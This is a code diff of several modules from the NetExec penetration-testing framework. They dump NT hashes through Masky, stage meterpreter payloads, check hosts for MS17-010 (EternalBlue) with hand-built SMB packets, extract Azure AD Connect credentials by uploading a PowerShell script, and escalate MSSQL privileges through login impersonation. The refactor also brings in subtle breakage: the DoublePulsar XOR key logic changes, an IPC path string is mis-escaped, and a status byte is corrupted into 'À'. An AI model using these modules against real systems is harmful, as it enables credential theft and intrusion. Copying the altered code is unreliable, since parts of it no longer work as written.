|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from masky import Masky
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
|
||||
|
@ -13,7 +10,7 @@ class NXCModule:
|
|||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
r"""
|
||||
CA Certificate Authority Name (CA_SERVER\CA_NAME)
|
||||
TEMPLATE Template name allowing users to authenticate with (default: User)
|
||||
DC_IP IP Address of the domain controller
|
||||
|
@ -85,7 +82,7 @@ class NXCModule:
|
|||
pwned_users = 0
|
||||
for user in rslts.users:
|
||||
if user.nthash:
|
||||
context.log.highlight(f"{user.domain}\{user.name} {user.nthash}")
|
||||
context.log.highlight(f"{user.domain}\\{user.name} {user.nthash}")
|
||||
self.process_credentials(connection, context, user)
|
||||
pwned_users += 1
|
||||
|
||||
|
@ -115,7 +112,7 @@ class NXCModule:
|
|||
|
||||
if not tracker.files_cleaning_success:
|
||||
context.log.fail("Fail to clean files related to Masky")
|
||||
context.log.fail((f"Please remove the files named '{tracker.agent_filename}', '{tracker.error_filename}', " f"'{tracker.output_filename}' & '{tracker.args_filename}' within the folder '\\Windows\\Temp\\'"))
|
||||
context.log.fail(f"Please remove the files named '{tracker.agent_filename}', '{tracker.error_filename}', '{tracker.output_filename}' & '{tracker.args_filename}' within the folder '\\Windows\\Temp\\'")
|
||||
ret = False
|
||||
|
||||
if not tracker.svc_cleaning_success:
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from sys import exit
|
||||
|
||||
|
||||
|
@ -41,7 +38,6 @@ class NXCModule:
|
|||
Set payload to what you want (windows/meterpreter/reverse_https, etc)
|
||||
after running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that
|
||||
"""
|
||||
|
||||
self.met_ssl = "https"
|
||||
|
||||
if "SRVHOST" not in module_options or "SRVPORT" not in module_options:
|
||||
|
|
|
@ -1,17 +1,15 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# All credits to https://github.com/d4t4s3c/Win7Blue
|
||||
# @d4t4s3c
|
||||
# Module by @mpgn_x64
|
||||
|
||||
from ctypes import *
|
||||
from ctypes import c_uint8, c_uint16, c_uint32, c_uint64, Structure
|
||||
import socket
|
||||
import struct
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "ms17-010"
|
||||
description = "MS17-010, /!\ not tested oustide home lab"
|
||||
description = "MS17-010 - EternalBlue - NOT TESTED OUTSIDE LAB ENVIRONMENT"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
@ -25,7 +23,7 @@ class NXCModule:
|
|||
context.log.highlight("Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/")
|
||||
|
||||
|
||||
class SMB_HEADER(Structure):
|
||||
class SmbHeader(Structure):
|
||||
"""SMB Header decoder."""
|
||||
|
||||
_pack_ = 1
|
||||
|
@ -47,195 +45,284 @@ class SMB_HEADER(Structure):
|
|||
("multiplex_id", c_uint16),
|
||||
]
|
||||
|
||||
def __new__(self, buffer=None):
|
||||
return self.from_buffer_copy(buffer)
|
||||
def __new__(cls, buffer=None):
|
||||
return cls.from_buffer_copy(buffer)
|
||||
|
||||
|
||||
def generate_smb_proto_payload(*protos):
|
||||
"""Generate SMB Protocol. Pakcet protos in order."""
|
||||
hexdata = []
|
||||
"""
|
||||
Generates an SMB Protocol payload by concatenating a list of packet protos.
|
||||
|
||||
Args:
|
||||
----
|
||||
*protos (list): List of packet protos.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: The generated SMB Protocol payload.
|
||||
"""
|
||||
# Initialize an empty list to store the hex data
|
||||
hex_data = []
|
||||
|
||||
# Iterate over each proto in the input list
|
||||
for proto in protos:
|
||||
hexdata.extend(proto)
|
||||
return "".join(hexdata)
|
||||
# Extend the hex_data list with the elements of the current proto
|
||||
hex_data.extend(proto)
|
||||
|
||||
# Join the elements of the hex_data list into a single string and return it
|
||||
return "".join(hex_data)
|
||||
|
||||
|
||||
def calculate_doublepulsar_xor_key(s):
|
||||
"""Calaculate Doublepulsar Xor Key"""
|
||||
x = 2 * s ^ (((s & 0xFF00 | (s << 16)) << 8) | (((s >> 16) | s & 0xFF0000) >> 8))
|
||||
x = x & 0xFFFFFFFF
|
||||
return x
|
||||
"""
|
||||
Calculate Doublepulsar Xor Key.
|
||||
|
||||
Args:
|
||||
----
|
||||
s (int): The input value.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
int: The calculated xor key.
|
||||
"""
|
||||
# Shift the value 16 bits to the left and combine it with the value shifted 8 bits to the left
|
||||
# OR the result with s shifted 16 bits to the right and combined with s masked with 0xFF0000
|
||||
temp = ((s & 0xFF00) | (s << 16)) << 8 | (((s >> 16) | s & 0xFF0000) >> 8)
|
||||
|
||||
# Multiply the temp value by 2 and perform a bitwise XOR with 0xFFFFFFFF
|
||||
return 2 * temp ^ 0xFFFFFFFF
|
||||
|
||||
|
||||
|
||||
def negotiate_proto_request():
|
||||
"""Generate a negotiate_proto_request packet."""
|
||||
netbios = ["\x00", "\x00\x00\x54"]
|
||||
# Define the NetBIOS header
|
||||
netbios = [
|
||||
"\x00", # Message Type
|
||||
"\x00\x00\x54", # Length
|
||||
]
|
||||
|
||||
# Define the SMB header
|
||||
smb_header = [
|
||||
"\xFF\x53\x4D\x42",
|
||||
"\x72",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x18",
|
||||
"\x01\x28",
|
||||
"\x00\x00",
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x2F\x4B",
|
||||
"\x00\x00",
|
||||
"\xC5\x5E",
|
||||
"\xFF\x53\x4D\x42", # Server Component
|
||||
"\x72", # SMB Command
|
||||
"\x00\x00\x00\x00", # NT Status
|
||||
"\x18", # Flags
|
||||
"\x01\x28", # Flags2
|
||||
"\x00\x00", # Process ID High
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00", # Signature
|
||||
"\x00\x00", # Reserved
|
||||
"\x00\x00", # Tree ID
|
||||
"\x2F\x4B", # Process ID
|
||||
"\x00\x00", # User ID
|
||||
"\xC5\x5E", # Multiplex ID
|
||||
]
|
||||
|
||||
# Define the negotiate_proto_request
|
||||
negotiate_proto_request = [
|
||||
"\x00",
|
||||
"\x31\x00",
|
||||
"\x02",
|
||||
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00",
|
||||
"\x02",
|
||||
"\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00",
|
||||
"\x02",
|
||||
"\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00",
|
||||
"\x02",
|
||||
"\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00",
|
||||
"\x00", # Word Count
|
||||
"\x31\x00", # Byte Count
|
||||
"\x02", # Requested Dialects Count
|
||||
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00", # Requested Dialects
|
||||
"\x02", # Requested Dialects Count
|
||||
"\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00", # Requested Dialects
|
||||
"\x02", # Requested Dialects Count
|
||||
"\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00", # Requested Dialects
|
||||
"\x02", # Requested Dialects Count
|
||||
"\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00", # Requested Dialects
|
||||
]
|
||||
|
||||
# Return the generated SMB protocol payload
|
||||
return generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request)
|
||||
|
||||
|
||||
def session_setup_andx_request():
|
||||
"""Generate session setuo andx request."""
|
||||
netbios = ["\x00", "\x00\x00\x63"]
|
||||
"""Generate session setup andx request."""
|
||||
# Define the NetBIOS bytes
|
||||
netbios = [
|
||||
"\x00", # length
|
||||
"\x00\x00\x63", # session service
|
||||
]
|
||||
|
||||
# Define the SMB header bytes
|
||||
smb_header = [
|
||||
"\xFF\x53\x4D\x42",
|
||||
"\x73",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x18",
|
||||
"\x01\x20",
|
||||
"\x00\x00",
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x2F\x4B",
|
||||
"\x00\x00",
|
||||
"\xC5\x5E",
|
||||
"\xFF\x53\x4D\x42", # server component
|
||||
"\x73", # command
|
||||
"\x00\x00\x00\x00", # NT status
|
||||
"\x18", # flags
|
||||
"\x01\x20", # flags2
|
||||
"\x00\x00", # PID high
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00", # signature
|
||||
"\x00\x00", # reserved
|
||||
"\x00\x00", # tid
|
||||
"\x2F\x4B", # pid
|
||||
"\x00\x00", # uid
|
||||
"\xC5\x5E", # mid
|
||||
]
|
||||
|
||||
# Define the session setup andx request bytes
|
||||
session_setup_andx_request = [
|
||||
"\x0D",
|
||||
"\xFF",
|
||||
"\x00",
|
||||
"\x00\x00",
|
||||
"\xDF\xFF",
|
||||
"\x02\x00",
|
||||
"\x01\x00",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x40\x00\x00\x00",
|
||||
"\x26\x00",
|
||||
"\x00",
|
||||
"\x2e\x00",
|
||||
"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00",
|
||||
"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00",
|
||||
"\x0D", # word count
|
||||
"\xFF", # andx command
|
||||
"\x00", # reserved
|
||||
"\x00\x00", # andx offset
|
||||
"\xDF\xFF", # max buffer
|
||||
"\x02\x00", # max mpx count
|
||||
"\x01\x00", # VC number
|
||||
"\x00\x00\x00\x00", # session key
|
||||
"\x00\x00", # ANSI password length
|
||||
"\x00\x00", # Unicode password length
|
||||
"\x00\x00\x00\x00", # reserved
|
||||
"\x40\x00\x00\x00", # capabilities
|
||||
"\x26\x00", # byte count
|
||||
"\x00", # account name length
|
||||
"\x2e\x00", # account name offset
|
||||
"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00", # account name
|
||||
"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00", # primary domain
|
||||
]
|
||||
|
||||
# Call the generate_smb_proto_payload function and return the result
|
||||
return generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request)
|
||||
|
||||
|
||||
def tree_connect_andx_request(ip, userid):
|
||||
"""Generate tree connect andx request."""
|
||||
def tree_connect_andx_request(ip: str, userid: str) -> str:
|
||||
"""Generate tree connect andx request.
|
||||
|
||||
netbios = ["\x00", "\x00\x00\x47"]
|
||||
Args:
|
||||
----
|
||||
ip (str): The IP address.
|
||||
userid (str): The user ID.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
bytes: The generated tree connect andx request payload.
|
||||
"""
|
||||
# Initialize the netbios header
|
||||
netbios = [b"\x00", b"\x00\x00\x47"]
|
||||
|
||||
# Initialize the SMB header
|
||||
smb_header = [
|
||||
"\xFF\x53\x4D\x42",
|
||||
"\x75",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x18",
|
||||
"\x01\x20",
|
||||
"\x00\x00",
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x2F\x4B",
|
||||
b"\xFF\x53\x4D\x42",
|
||||
b"\x75",
|
||||
b"\x00\x00\x00\x00",
|
||||
b"\x18",
|
||||
b"\x01\x20",
|
||||
b"\x00\x00",
|
||||
b"\x00\x00\x00\x00\x00\x00\x00\x00",
|
||||
b"\x00\x00",
|
||||
b"\x00\x00",
|
||||
b"\x2F\x4B",
|
||||
userid,
|
||||
"\xC5\x5E",
|
||||
b"\xC5\x5E",
|
||||
]
|
||||
|
||||
ipc = "\\\\{}\IPC$\x00".format(ip)
|
||||
# Create the IPC string
|
||||
ipc = f"\\\\{ip}\\IPC$\\x00"
|
||||
|
||||
# Initialize the tree connect andx request
|
||||
tree_connect_andx_request = [
|
||||
"\x04",
|
||||
"\xFF",
|
||||
"\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x01\x00",
|
||||
"\x1A\x00",
|
||||
"\x00",
|
||||
b"\x04",
|
||||
b"\xFF",
|
||||
b"\x00",
|
||||
b"\x00\x00",
|
||||
b"\x00\x00",
|
||||
b"\x01\x00",
|
||||
b"\x1A\x00",
|
||||
b"\x00",
|
||||
ipc.encode(),
|
||||
"\x3f\x3f\x3f\x3f\x3f\x00",
|
||||
b"\x3f\x3f\x3f\x3f\x3f\x00",
|
||||
]
|
||||
|
||||
length = len("".join(smb_header)) + len("".join(tree_connect_andx_request))
|
||||
# Calculate the length of the payload
|
||||
length = len(b"".join(smb_header)) + len(b"".join(tree_connect_andx_request))
|
||||
|
||||
# Update the length in the netbios header
|
||||
netbios[1] = struct.pack(">L", length)[-3:]
|
||||
|
||||
# Generate the final SMB protocol payload
|
||||
return generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request)
|
||||
|
||||
|
||||
def peeknamedpipe_request(treeid, processid, userid, multiplex_id):
|
||||
"""Generate tran2 request"""
|
||||
"""
|
||||
Generate tran2 request.
|
||||
|
||||
Args:
|
||||
----
|
||||
treeid (str): The tree ID.
|
||||
processid (str): The process ID.
|
||||
userid (str): The user ID.
|
||||
multiplex_id (str): The multiplex ID.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: The generated SMB protocol payload.
|
||||
"""
|
||||
# Set the necessary values for the netbios header
|
||||
netbios = ["\x00", "\x00\x00\x4a"]
|
||||
|
||||
# Set the values for the SMB header
|
||||
smb_header = [
|
||||
"\xFF\x53\x4D\x42",
|
||||
"\x25",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x18",
|
||||
"\x01\x28",
|
||||
"\x00\x00",
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00",
|
||||
"\x00\x00",
|
||||
treeid,
|
||||
processid,
|
||||
userid,
|
||||
multiplex_id,
|
||||
"\xFF\x53\x4D\x42", # Server Component
|
||||
"\x25", # SMB Command
|
||||
"\x00\x00\x00\x00", # NT Status
|
||||
"\x18", # Flags2
|
||||
"\x01\x28", # Process ID High & Multiplex ID
|
||||
"\x00\x00", # Tree ID
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00", # NT Time
|
||||
"\x00\x00", # Process ID Low
|
||||
treeid, # Tree ID
|
||||
processid, # Process ID
|
||||
userid, # User ID
|
||||
multiplex_id, # Multiplex ID
|
||||
]
|
||||
|
||||
# Set the values for the transaction request
|
||||
tran_request = [
|
||||
"\x10",
|
||||
"\x00\x00",
|
||||
"\x00\x00",
|
||||
"\xff\xff",
|
||||
"\xff\xff",
|
||||
"\x00",
|
||||
"\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x4a\x00",
|
||||
"\x00\x00",
|
||||
"\x4a\x00",
|
||||
"\x02",
|
||||
"\x00",
|
||||
"\x23\x00",
|
||||
"\x00\x00",
|
||||
"\x07\x00",
|
||||
"\x5c\x50\x49\x50\x45\x5c\x00",
|
||||
"\x10", # Word Count
|
||||
"\x00\x00", # Total Parameter Count
|
||||
"\x00\x00", # Total Data Count
|
||||
"\xff\xff", # Max Parameter Count
|
||||
"\xff\xff", # Max Data Count
|
||||
"\x00", # Max Setup Count
|
||||
"\x00", # Reserved
|
||||
"\x00\x00", # Flags
|
||||
"\x00\x00\x00\x00", # Timeout
|
||||
"\x00\x00", # Reserved
|
||||
"\x00\x00", # Parameter Count
|
||||
"\x4a\x00", # Parameter Offset
|
||||
"\x00\x00", # Data Count
|
||||
"\x4a\x00", # Data Offset
|
||||
"\x02", # Setup Count
|
||||
"\x00", # Reserved
|
||||
"\x23\x00", # Function Code
|
||||
"\x00\x00", # Reserved2
|
||||
"\x07\x00", # Byte Count
|
||||
"\x5c\x50\x49\x50\x45\x5c\x00", # Transaction Name
|
||||
]
|
||||
|
||||
# Generate the SMB protocol payload
|
||||
return generate_smb_proto_payload(netbios, smb_header, tran_request)
|
||||
|
||||
|
||||
def trans2_request(treeid, processid, userid, multiplex_id):
|
||||
"""Generate trans2 request."""
|
||||
def trans2_request(treeid: str, processid: str, userid: str, multiplex_id: str) -> str:
|
||||
"""Generate trans2 request.
|
||||
|
||||
Args:
|
||||
----
|
||||
treeid: The treeid parameter.
|
||||
processid: The processid parameter.
|
||||
userid: The userid parameter.
|
||||
multiplex_id: The multiplex_id parameter.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
The generated SMB protocol payload.
|
||||
"""
|
||||
# Define the netbios section of the SMB request
|
||||
netbios = ["\x00", "\x00\x00\x4f"]
|
||||
|
||||
# Define the SMB header section of the SMB request
|
||||
smb_header = [
|
||||
"\xFF\x53\x4D\x42",
|
||||
"\x32",
|
||||
|
@ -251,6 +338,7 @@ def trans2_request(treeid, processid, userid, multiplex_id):
|
|||
multiplex_id,
|
||||
]
|
||||
|
||||
# Define the trans2 request section of the SMB request
|
||||
trans2_request = [
|
||||
"\x0f",
|
||||
"\x0c\x00",
|
||||
|
@ -273,66 +361,79 @@ def trans2_request(treeid, processid, userid, multiplex_id):
|
|||
"\x0c\x00" + "\x00" * 12,
|
||||
]
|
||||
|
||||
# Generate the SMB protocol payload by combining the netbios, smb_header, and trans2_request sections
|
||||
return generate_smb_proto_payload(netbios, smb_header, trans2_request)
|
||||
|
||||
|
||||
def check(ip, port=445):
|
||||
"""Check if MS17_010 SMB Vulnerability exists."""
|
||||
"""Check if MS17_010 SMB Vulnerability exists.
|
||||
|
||||
Args:
|
||||
----
|
||||
ip (str): The IP address of the target machine.
|
||||
port (int, optional): The port number to connect to. Defaults to 445.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
bool: True if the vulnerability exists, False otherwise.
|
||||
"""
|
||||
try:
|
||||
buffersize = 1024
|
||||
timeout = 5.0
|
||||
|
||||
# Create a socket and connect to the target IP and port
|
||||
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
client.settimeout(timeout)
|
||||
client.connect((ip, port))
|
||||
|
||||
# Send negotiate protocol request and receive response
|
||||
raw_proto = negotiate_proto_request()
|
||||
client.send(raw_proto)
|
||||
tcp_response = client.recv(buffersize)
|
||||
|
||||
# Send session setup request and receive response
|
||||
raw_proto = session_setup_andx_request()
|
||||
client.send(raw_proto)
|
||||
tcp_response = client.recv(buffersize)
|
||||
netbios = tcp_response[:4]
|
||||
tcp_response[:4]
|
||||
smb_header = tcp_response[4:36]
|
||||
smb = SMB_HEADER(smb_header)
|
||||
smb = SmbHeader(smb_header)
|
||||
|
||||
user_id = struct.pack("<H", smb.user_id)
|
||||
|
||||
# Extract native OS from session setup response
|
||||
session_setup_andx_response = tcp_response[36:]
|
||||
native_os = session_setup_andx_response[9:].split("\x00")[0]
|
||||
session_setup_andx_response[9:].split("\x00")[0]
|
||||
|
||||
# Send tree connect request and receive response
|
||||
raw_proto = tree_connect_andx_request(ip, user_id)
|
||||
client.send(raw_proto)
|
||||
tcp_response = client.recv(buffersize)
|
||||
|
||||
netbios = tcp_response[:4]
|
||||
tcp_response[:4]
|
||||
smb_header = tcp_response[4:36]
|
||||
smb = SMB_HEADER(smb_header)
|
||||
smb = SmbHeader(smb_header)
|
||||
|
||||
tree_id = struct.pack("<H", smb.tree_id)
|
||||
process_id = struct.pack("<H", smb.process_id)
|
||||
user_id = struct.pack("<H", smb.user_id)
|
||||
multiplex_id = struct.pack("<H", smb.multiplex_id)
|
||||
|
||||
# Send peek named pipe request and receive response
|
||||
raw_proto = peeknamedpipe_request(tree_id, process_id, user_id, multiplex_id)
|
||||
client.send(raw_proto)
|
||||
tcp_response = client.recv(buffersize)
|
||||
|
||||
netbios = tcp_response[:4]
|
||||
tcp_response[:4]
|
||||
smb_header = tcp_response[4:36]
|
||||
smb = SMB_HEADER(smb_header)
|
||||
smb = SmbHeader(smb_header)
|
||||
|
||||
nt_status = struct.pack("BBH", smb.error_class, smb.reserved1, smb.error_code)
|
||||
|
||||
if nt_status == "\x05\x02\x00\xc0":
|
||||
return True
|
||||
elif nt_status in ("\x08\x00\x00\xc0", "\x22\x00\x00\xc0"):
|
||||
return False
|
||||
else:
|
||||
return False
|
||||
# Check the NT status to determine if the vulnerability exists
|
||||
return nt_status == "\x05\x02\x00À"
|
||||
|
||||
except Exception as err:
|
||||
except Exception:
|
||||
return False
|
||||
finally:
|
||||
client.close()
|
||||
|
|
|
@ -3,6 +3,7 @@
|
|||
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
|
||||
from sys import exit
|
||||
from os import path
|
||||
import sys
|
||||
from nxc.helpers.powershell import get_ps_script
|
||||
|
||||
|
||||
|
@ -27,9 +28,7 @@ class NXCModule:
|
|||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
MSOL_PS1 // Path to the msol binary on your computer
|
||||
"""
|
||||
"""MSOL_PS1 // Path to the msol binary on your computer"""
|
||||
self.tmp_dir = "C:\\Windows\\Temp\\"
|
||||
self.share = "C$"
|
||||
self.tmp_share = self.tmp_dir.split(":")[1]
|
||||
|
@ -37,7 +36,7 @@ class NXCModule:
|
|||
self.use_embedded = True
|
||||
self.msolmdl = self.cmd = ""
|
||||
|
||||
with open(get_ps_script("msol_dump/msol_dump.ps1"), "r") as msolsc:
|
||||
with open(get_ps_script("msol_dump/msol_dump.ps1")) as msolsc:
|
||||
self.msol_embedded = msolsc.read()
|
||||
|
||||
if "MSOL_PS1" in module_options:
|
||||
|
@ -51,8 +50,14 @@ class NXCModule:
|
|||
def on_admin_login(self, context, connection):
|
||||
if self.use_embedded:
|
||||
file_to_upload = "/tmp/msol.ps1"
|
||||
with open(file_to_upload, "w") as msol:
|
||||
msol.write(self.msol_embedded)
|
||||
|
||||
try:
|
||||
with open(file_to_upload, "w") as msol:
|
||||
msol.write(self.msol_embedded)
|
||||
except FileNotFoundError:
|
||||
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
|
||||
sys.exit(1)
|
||||
|
||||
else:
|
||||
if path.isfile(self.MSOL_PS1):
|
||||
file_to_upload = self.MSOL_PS1
|
||||
|
@ -64,25 +69,25 @@ class NXCModule:
|
|||
with open(file_to_upload, "rb") as msol:
|
||||
try:
|
||||
connection.conn.putFile(self.share, f"{self.tmp_share}{self.msol}", msol.read)
|
||||
context.log.success(f"Msol script successfully uploaded")
|
||||
context.log.success("Msol script successfully uploaded")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
|
||||
return
|
||||
try:
|
||||
if self.cmd == "":
|
||||
context.log.display(f"Executing the script")
|
||||
context.log.display("Executing the script")
|
||||
p = self.exec_script(context, connection)
|
||||
for line in p.splitlines():
|
||||
p1, p2 = line.split(" ", 1)
|
||||
context.log.highlight(f"{p1} {p2}")
|
||||
else:
|
||||
context.log.fail(f"Script Execution Impossible")
|
||||
context.log.fail("Script Execution Impossible")
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error running command: {e}")
|
||||
finally:
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.msol}")
|
||||
context.log.success(f"Msol script successfully deleted")
|
||||
context.log.success("Msol script successfully deleted")
|
||||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting msol script on {self.share}: {e}")
|
||||
|
|
|
@ -1,9 +1,5 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Author:
|
||||
# Romain de Reydellet (@pentest_soka)
|
||||
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
|
||||
|
||||
|
@ -22,9 +18,7 @@ class User:
|
|||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Enumerate MSSQL privileges and exploit them
|
||||
"""
|
||||
"""Enumerate MSSQL privileges and exploit them"""
|
||||
|
||||
name = "mssql_priv"
|
||||
description = "Enumerate and exploit MSSQL privileges"
|
||||
|
@ -92,9 +86,20 @@ class NXCModule:
|
|||
elif target_user.dbowner:
|
||||
self.do_dbowner_privesc(target_user.dbowner, exec_as)
|
||||
if self.is_admin_user(self.current_username):
|
||||
self.context.log.success(f"{self.current_username} is now a sysadmin! " + highlight("({})".format(self.context.conf.get("nxc", "pwn3d_label"))))
|
||||
self.context.log.success(f"{self.current_username} is now a sysadmin! " + highlight(f"({self.context.conf.get('nxc', 'pwn3d_label')})"))
|
||||
|
||||
def build_exec_as_from_path(self, target_user):
|
||||
"""
|
||||
Builds an 'exec_as' path based on the given target user.
|
||||
|
||||
Args:
|
||||
----
|
||||
target_user (User): The target user for building the 'exec_as' path.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: The 'exec_as' path built from the target user's username and its parent usernames.
|
||||
"""
|
||||
path = [target_user.username]
|
||||
parent = target_user.parent
|
||||
while parent:
|
||||
|
@ -105,6 +110,19 @@ class NXCModule:
|
|||
return self.sql_exec_as(reversed(path))
|
||||
|
||||
def browse_path(self, context, initial_user: User, user: User) -> User:
|
||||
"""
|
||||
Browse the path of user impersonation.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
context (Context): The context of the function.
|
||||
initial_user (User): The initial user.
|
||||
user (User): The user to browse the path for.
|
||||
|
||||
Returns
|
||||
-------
|
||||
User: The user that can be impersonated.
|
||||
"""
|
||||
if initial_user.is_sysadmin:
|
||||
self.context.log.success(f"{initial_user.username} is sysadmin")
|
||||
return initial_user
|
||||
|
@ -113,7 +131,7 @@ class NXCModule:
|
|||
return initial_user
|
||||
for grantor in user.grantors:
|
||||
if grantor.is_sysadmin:
|
||||
self.context.log.success(f"{user.username} can impersonate: " f"{grantor.username} (sysadmin)")
|
||||
self.context.log.success(f"{user.username} can impersonate: {grantor.username} (sysadmin)")
|
||||
return grantor
|
||||
elif grantor.dbowner:
|
||||
self.context.log.success(f"{user.username} can impersonate: {grantor.username} (which can privesc via dbowner)")
|
||||
|
@ -123,23 +141,50 @@ class NXCModule:
|
|||
return self.browse_path(context, initial_user, grantor)
|
||||
|
||||
def query_and_get_output(self, query):
|
||||
# try:
|
||||
results = self.mssql_conn.sql_query(query)
|
||||
# self.mssql_conn.printRows()
|
||||
# query_output = self.mssql_conn._MSSQL__rowsPrinter.getMessage()
|
||||
# query_output = results.strip("\n-")
|
||||
return results
|
||||
# except Exception as e:
|
||||
# return False
|
||||
return self.mssql_conn.sql_query(query)
|
||||
|
||||
def sql_exec_as(self, grantors: list) -> str:
|
||||
exec_as = []
|
||||
for grantor in grantors:
|
||||
exec_as.append(f"EXECUTE AS LOGIN = '{grantor}';")
|
||||
"""
|
||||
Generates an SQL statement to execute a command using the specified list of grantors.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
grantors (list): A list of grantors, each representing a login.
|
||||
|
||||
Returns
|
||||
-------
|
||||
str: The SQL statement to execute the command using the grantors.
|
||||
"""
|
||||
exec_as = [f"EXECUTE AS LOGIN = '{grantor}';" for grantor in grantors]
|
||||
return "".join(exec_as)
|
||||
|
||||
def perform_impersonation_check(self, user: User, grantors=[]):
|
||||
def perform_impersonation_check(self, user: User, grantors=None):
|
||||
"""
|
||||
Performs an impersonation check for a given user.
|
||||
|
||||
Args:
|
||||
----
|
||||
user (User): The user for whom the impersonation check is being performed.
|
||||
grantors (list): A list of grantors. Default is an empty list.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
|
||||
Description:
|
||||
This function checks if the user has the necessary privileges to perform impersonation.
|
||||
If the user has the necessary privileges, the function returns without performing any further checks.
|
||||
If the user does not have the necessary privileges, the function retrieves a list of grantors
|
||||
who can impersonate the user and performs the same impersonation check on each grantor recursively.
|
||||
If a new grantor is found, it is added to the list of grantors and the impersonation check is performed on it.
|
||||
|
||||
Example Usage:
|
||||
perform_impersonation_check(user, grantors=['admin', 'manager'])
|
||||
|
||||
"""
|
||||
# build EXECUTE AS if any grantors is specified
|
||||
if grantors is None:
|
||||
grantors = []
|
||||
exec_as = self.sql_exec_as(grantors)
|
||||
# do we have any privilege ?
|
||||
if self.update_priv(user, exec_as):
|
||||
|
@ -160,6 +205,18 @@ class NXCModule:
|
|||
self.perform_impersonation_check(new_user, grantors)
|
||||
|
||||
def update_priv(self, user: User, exec_as=""):
|
||||
"""
|
||||
Update the privileges of a user.
|
||||
|
||||
Args:
|
||||
----
|
||||
user (User): The user whose privileges need to be updated.
|
||||
exec_as (str): The username of the user executing the function.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
bool: True if the user is an admin user and their privileges are updated successfully, False otherwise.
|
||||
"""
|
||||
if self.is_admin_user(user.username):
|
||||
user.is_sysadmin = True
|
||||
return True
|
||||
|
@ -167,96 +224,176 @@ class NXCModule:
|
|||
return user.dbowner
|
||||
|
||||
def get_current_username(self) -> str:
|
||||
"""
|
||||
Retrieves the current username.
|
||||
|
||||
:param self: The instance of the class.
|
||||
:return: The current username as a string.
|
||||
:rtype: str
|
||||
"""
|
||||
return self.query_and_get_output("select SUSER_NAME()")[0][""]
|
||||
|
||||
def is_admin(self, exec_as="") -> bool:
|
||||
"""
|
||||
Checks if the user is an admin.
|
||||
|
||||
Args:
|
||||
----
|
||||
